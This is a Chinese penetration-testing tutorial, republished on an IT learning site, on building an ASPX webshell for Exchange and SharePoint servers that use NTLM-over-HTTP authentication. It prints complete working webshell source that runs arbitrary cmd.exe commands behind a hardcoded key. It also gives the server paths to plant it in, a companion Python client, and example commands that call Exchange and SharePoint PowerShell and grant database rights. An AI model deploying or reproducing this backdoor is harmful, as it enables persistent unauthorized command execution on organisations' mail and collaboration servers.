文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

渗透基础-支持NTLM Over HTTP协议的Webshell实现

2024-12-03 09:48

关注

 0x00 前言

在某些环境下,访问Web服务器的资源需要通过NTLM Over HTTP协议进行NTLM认证,而我们在这样的Web服务器使用Webshell时,不仅需要考虑NTLM认证的实现,还需要满足能够在命令行下使用。

本文仅在技术研究的角度介绍一种实现方法,开源代码,分享脚本开发细节。

0x01 简介

本文将要介绍以下内容:

0x02 设计思路

通过NTLM Over HTTP协议进行NTLM认证的Web服务器有很多,这里分别以Exchange和SharePoint为例

(1)Exchange测试环境

文件保存的绝对路径:

  1. C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx 

对应的URL为:

  1. https://URL/Autodiscover/test.aspx 

(2)SharePoint测试环境

文件保存的绝对路径:

  1. C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx 

对应的URL为:

  1. http://URL/_layouts/15/test.aspx 

访问test.aspx时均需要通过NTLM Over HTTP协议进行NTLM认证

这里以一个支持cmd命令的webshell为例进行测试,webshell的地址为:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下图


这个webshell需要通过浏览器进行操作,首先完成NTLM认证,接着填入正确的Auth Key和要执行的cmd命令。

我们的目标是满足能够在命令行下使用,可以以此为模板进行修改,设计思路如下:

(1)execCmd.aspx

接收Form表单请求作为参数,对Auth Key进行验证

如果验证失败,返回空结果

如果验证成功,执行传入的cmd命令并返回执行结果

(2)aspxCmdNTLM.py

命令行脚本

首先通过NTLM Over HTTP协议完成NTLM认证,这里需要支持明文和用户口令hash两种登录方式。

通过Form表单请求发送Auth Key和要执行的cmd命令,接收cmd命令的执行结果。

execCmd.aspx和aspxCmdNTLM.py的通信内容作Base64编码,在程序实现上需要考虑Base64编码和解码。

0x03 脚本开发细节

1.execCmd.aspx

使用Page_Load方法接收Form表单请求,其中data1用作Auth Key,data2用作cmd命令。

Base64编码的实现:

  1. byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes); 

Base64解码的实现:

  1. byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte); 

完整的实现代码如下:

  1. < %@ Page Language="C#"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e)    {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command)    {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c " + command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script > 

2.aspxCmdNTLM.py

NTLM认证的实现可以参考之前的代码:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

完整的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

如下图


可以直接调用Exchange PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\"" 

结果如下图


对于SharePoint服务器,对应的Webshell权限为用户权限

如下图


可以尝试调用SharePointServer PowerShell

命令示例:

  1. python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\"" 

这里需要注意,用户需要配置为能够访问数据库才能够执行SharePointServer PowerShell命令

查看可访问数据库的用户列表对应的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin 

添加指定用户访问数据库权限对应的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin Domain\User1 

删除指定用户访问数据库权限对应的Powershell命令如下:

  1. Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin Domain\User1 -Confirm:$false 

正常的结果如下图


0x04 小结

本文以Exchange和SharePoint为例,介绍了支持NTLM Over HTTP协议的Webshell实现思路,开源代码,分享脚本开发细节。

本文为 3gstudent 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址。

 

来源:嘶吼网内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯